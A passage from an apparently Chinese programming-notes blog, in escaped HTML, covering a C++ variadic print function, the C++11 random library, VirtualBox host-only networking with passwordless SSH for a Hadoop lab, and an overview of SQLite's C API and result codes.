class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;s\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eva_arg\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eap\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eva_arg\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eap\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etoOutput\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;c\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003echar\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etoOutput\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;d\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003etoOutput\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n \u003cspan class=\"n\"\u003eva_end\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eap\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003eerror\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Hello %s, %d, %c. %%\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;SuperBart\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;f\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;f\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n \u003cspan class=\"c1\"\u003e// For test.\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Hello %s, %d, %c. %%\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;SuperBart\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;f\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;f\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"如何更加省心地随便编个数\"\u003e如何更加省心地随便编个数\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e先引入 C++ 11 标准的全新标准库 \u003ccode\u003erandom\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e先找个能生成随机种子的随机数引擎,我用的是 \u003ccode\u003erandom_device\u003c/code\u003e,在 Linux 上相当于读取 \u003ccode\u003e/dev/urandom\u003c/code\u003e 产生的随机数。我们不使用该引擎生成随机数,因为根据原理,在生成随机数的时候,会产生大量的输入输出中断,一定程度上影响性能,而且会下降 \u003ccode\u003e/dev/urandom\u003c/code\u003e 生成随机数的质量。\u003c/li\u003e\n\u003cli\u003e然后利用上述引擎,生成我们要用的引擎 \u003ccode\u003edefault_random_engine\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e我们利用该随机数引擎,生成随机数。由于我们这里使用无符号的随机数,遵循均匀分布,我们使用 \u003ccode\u003euniform_int_distribution\u0026lt;uint\u0026gt;\u003c/code\u003e 类来生成之。\n顺便说一句,\u003ccode\u003erandom\u003c/code\u003e库还能支持你在概率论课程上学到的所有玩意,比如万恶的正态分布,泊松分布啥的。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"如何在虚拟机之间搞互联互通-以-virtualbox-为示例\"\u003e如何在虚拟机之间搞互联互通?—— 以 VirtualBox 为示例\u003c/h2\u003e\n\u003cp\u003e为了 Hadoop 的主从模式,我搞了三个虚拟机。\u003c/p\u003e\n\u003ch3 id=\"概述\"\u003e概述\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e管理 -\u0026gt; 主机网络管理器新建一个新网卡 vboxnet0\u003c/li\u003e\n\u003cli\u003e在每个虚拟机的设置中,设置网络为仅主机网络,界面名称 vboxnet0\u003c/li\u003e\n\u003cli\u003e每个虚拟机里面要设置好固定 ip ,关闭防火墙,和 ssh 免密码登录\u003c/li\u003e\n\u003cli\u003e(可选但推荐) 修改所有虚拟机的 host 文件,标记所有虚拟机的地址\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"截图主机网络管理器\"\u003e截图~主机网络管理器\u003c/h3\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://legacy.superbart.xyz/picture/Random/VirtualBox-1.png\"\u003e\n\t\t\u003cimg src=\"https://legacy.superbart.xyz/picture/Random/VirtualBox-1.png\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e如果设置成功的话,你的宿主机应该可以 ping 到你的虚拟机。查看你电脑的 ip,可以执行 \u003ccode\u003eifconfig\u003c/code\u003e 或者 \u003ccode\u003eip a\u003c/code\u003e。\u003c/p\u003e\n\u003ch3 id=\"如何关闭网络防火墙\"\u003e如何关闭网络防火墙\u003c/h3\u003e\n\u003cp\u003e基本上我见到的 Linux 系统,防火墙软件都是 \u003ca class=\"link\" href=\"https://firewalld.org/\" target=\"_blank\" rel=\"noopener\"\u003efirewalld\u003c/a\u003e。关闭防火墙,也就是关掉这个服务。所以我们要执行\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003esudo systemctl stop firewalld.service \u003cspan class=\"c1\"\u003e# 停止防火墙服务\u003c/span\u003e\nsudo systemctl disable firewalld.service \u003cspan class=\"c1\"\u003e# 防止防火墙开机自启动\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e说到这了,看看 Systemd 还能搞啥\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003esudo systemctl status firewalld.service \u003cspan class=\"c1\"\u003e# 看看这玩意运行状态\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e另外,如果你安装的是 Ubuntu Server ,安装时候可以关掉防火墙选项的。如果你安装的是 OpenSUSE,你也可以在 YaST 里面关掉,或者开 22 和 23 端口。\u003c/p\u003e\n\u003ch3 id=\"如何设置免密码登录-ssh\"\u003e如何设置免密码登录 ssh\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e$ ssh-keygen\n$ \u003cspan class=\"nb\"\u003ecd\u003c/span\u003e ~/.ssh\n$ ssh-copy-id 另外一个虚拟机的用户名@另外一个虚拟机的ip\n$ ssh 另外一个虚拟机的用户名@另外一个虚拟机的ip \u003cspan class=\"c1\"\u003e# 测试是否成功\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e注意,.ssh目录的权限为700,其下文件authorized_keys和私钥的权限为600。如有问题,请使用 chmod 修改。\u003c/p\u003e\n\u003ch2 id=\"修改-host-文件\"\u003e修改 Host 文件\u003c/h2\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003esudo nano /etc/hosts\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e修改方式是 ip + 电脑名称\u003c/p\u003e\n\u003ch2 id=\"c-语言的-sqlite-函数概览\"\u003eC 语言的 SQLite 函数概览\u003c/h2\u003e\n\u003cp\u003e为啥是 C 语言的,因为 Vala 的 SQLite 支持是把 C 语言支持的头文件给“照搬”了。\u003c/p\u003e\n\u003ch3 id=\"基础函数\"\u003e基础函数\u003c/h3\u003e\n\u003cp\u003e通过这个方式来创建一个 SQLite 结构体:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"n\"\u003esqlite\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e通过这个方式,打开一个数据库:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_open\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003efilename\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 文件所在的路径 */\u003c/span\u003e\n \u003cspan class=\"n\"\u003esqlite3\u003c/span\u003e \u003cspan class=\"o\"\u003e**\u003c/span\u003e\u003cspan class=\"n\"\u003eppDb\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 对应的 SQLite 结构体 */\u003c/span\u003e\n\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e通过这个方式,来在这个数据库上执行 SQL 语句:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_exec\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"n\"\u003esqlite3\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 要执行的数据库 */\u003c/span\u003e\n \u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 执行语句 */\u003c/span\u003e\n \u003cspan class=\"n\"\u003esqlite_callback\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 回调 */\u003c/span\u003e\n \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 回调参数 */\u003c/span\u003e\n \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e**\u003c/span\u003e\u003cspan class=\"n\"\u003eerrmsg\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 接受错误信息的字符串 */\u003c/span\u003e\n\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e使用完数据库后,通过这个函数释放数据库。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_close\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 你需要关闭的数据库 */\u003c/span\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"函数返回值\"\u003e函数返回值\u003c/h3\u003e\n\u003cp\u003eSQLite 里面的函数在执行的时候,都会有一个返回值。在 C 语言头文件里面,是一堆 define 。以下是 sqlite3.h 文件里面的东西。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"cm\"\u003e/*\n\u003c/span\u003e\u003cspan class=\"cm\"\u003e** sqlite3.h, version 3.40.0, line 433-476.\n\u003c/span\u003e\u003cspan class=\"cm\"\u003e**\n\u003c/span\u003e\u003cspan class=\"cm\"\u003e** CAPI3REF: Result Codes\n\u003c/span\u003e\u003cspan class=\"cm\"\u003e** KEYWORDS: {result code definitions}\n\u003c/span\u003e\u003cspan class=\"cm\"\u003e** 返回值 要点:返回值和定义\n\u003c/span\u003e\u003cspan class=\"cm\"\u003e**\n\u003c/span\u003e\u003cspan class=\"cm\"\u003e** Many SQLite functions return an integer result code from the set shown\n\u003c/span\u003e\u003cspan class=\"cm\"\u003e** here in order to indicate success or failure.\n\u003c/span\u003e\u003cspan class=\"cm\"\u003e** 许多 SQLite 函数的返回值是下面定义的整型,以反映成功/失败状态。\n\u003c/span\u003e\u003cspan class=\"cm\"\u003e**\n\u003c/span\u003e\u003cspan class=\"cm\"\u003e** New error codes may be added in future versions of SQLite.\n\u003c/span\u003e\u003cspan class=\"cm\"\u003e** 新的错误码将会在未来版本加入。\n\u003c/span\u003e\u003cspan class=\"cm\"\u003e**\n\u003c/span\u003e\u003cspan class=\"cm\"\u003e** See also: [extended result code definitions]\n\u003c/span\u003e\u003cspan class=\"cm\"\u003e** 还有扩充版返回值定义:-P\n\u003c/span\u003e\u003cspan class=\"cm\"\u003e*/\u003c/span\u003e\n\u003cspan class=\"cp\"\u003e#define SQLITE_OK 0 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Successful result */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\u003cspan class=\"cm\"\u003e/* beginning-of-error-codes */\u003c/span\u003e\n\u003cspan class=\"cm\"\u003e/* 除了0之外全是出错 */\u003c/span\u003e\n\u003cspan class=\"cp\"\u003e#define SQLITE_ERROR 1 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Generic error */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_INTERNAL 2 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Internal logic error in SQLite */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_PERM 3 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Access permission denied */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_ABORT 4 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Callback routine requested an abort */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_BUSY 5 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* The database file is locked */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_LOCKED 6 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* A table in the database is locked */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_NOMEM 7 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* A malloc() failed */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_READONLY 8 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Attempt to write a readonly database */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_INTERRUPT 9 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Operation terminated by sqlite3_interrupt()*/\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_IOERR 10 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Some kind of disk I/O error occurred */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_CORRUPT 11 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* The database disk image is malformed */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_NOTFOUND 12 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Unknown opcode in sqlite3_file_control() */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_FULL 13 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Insertion failed because database is full */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_CANTOPEN 14 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Unable to open the database file */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_PROTOCOL 15 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Database lock protocol error */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_EMPTY 16 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Internal use only */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_SCHEMA 17 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* The database schema changed */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_TOOBIG 18 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* String or BLOB exceeds size limit */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_CONSTRAINT 19 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Abort due to constraint violation */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_MISMATCH 20 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Data type mismatch */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_MISUSE 21 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Library used incorrectly */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_NOLFS 22 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Uses OS features not supported on host */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_AUTH 23 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Authorization denied */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_FORMAT 24 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Not used */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_RANGE 25 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* 2nd parameter to sqlite3_bind out of range */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_NOTADB 26 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* File opened that is not a database file */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_NOTICE 27 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Notifications from sqlite3_log() */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_WARNING 28 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Warnings from sqlite3_log() */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_ROW 100 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* sqlite3_step() has another row ready */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_DONE 101 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* sqlite3_step() has finished executing */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\u003cspan class=\"cm\"\u003e/* end-of-error-codes */\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e看看 SQLite 的头文件吧,很详细的。\u003c/p\u003e\n\u003ch2 id=\"使用-sqlite-声明\"\u003e使用 SQLite 声明\u003c/h2\u003e\n\u003cp\u003e使用 SQLite 声明来执行 SQL 语句,比直接调用 exec 更高效。\u003c/p\u003e\n\u003cp\u003e首先,你需要写好一个 SQL 语句,碰到待定的地方可以用问号,或者 \u003ccode\u003e$xxx\u003c/code\u003e 等形式表示。以下是我程序里面的示例:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003eprivate const string ADD_HOTEL_DATA = \u0026#34;\u0026#34;\u0026#34;\n INSERT INTO HOTEL (location, price, numRooms, numAvail)\n VALUES ($LOCATION, $PRICE, $NUMBEROFROOMS, $NUMBEROFAVALIABLE);\n\u0026#34;\u0026#34;\u0026#34;;\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e然后使用这个函数,准备声明:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003estmt\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 先初始化一个空的 */\u003c/span\u003e\n\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_prepare_v2\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n \u003cspan class=\"n\"\u003esqlite3\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 需要用到的数据库 */\u003c/span\u003e\n \u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ezSql\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* SQL 语句 */\u003c/span\u003e\n \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003enByte\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 字符串长度 */\u003c/span\u003e\n \u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e \u003cspan class=\"o\"\u003e**\u003c/span\u003e\u003cspan class=\"n\"\u003eppStmt\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* OUT: 指向一个需要初始化的声明 */\u003c/span\u003e\n \u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e**\u003c/span\u003e\u003cspan class=\"n\"\u003epzTail\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* OUT: 貌似是说 SQL 声明的尾部,可以不管吧 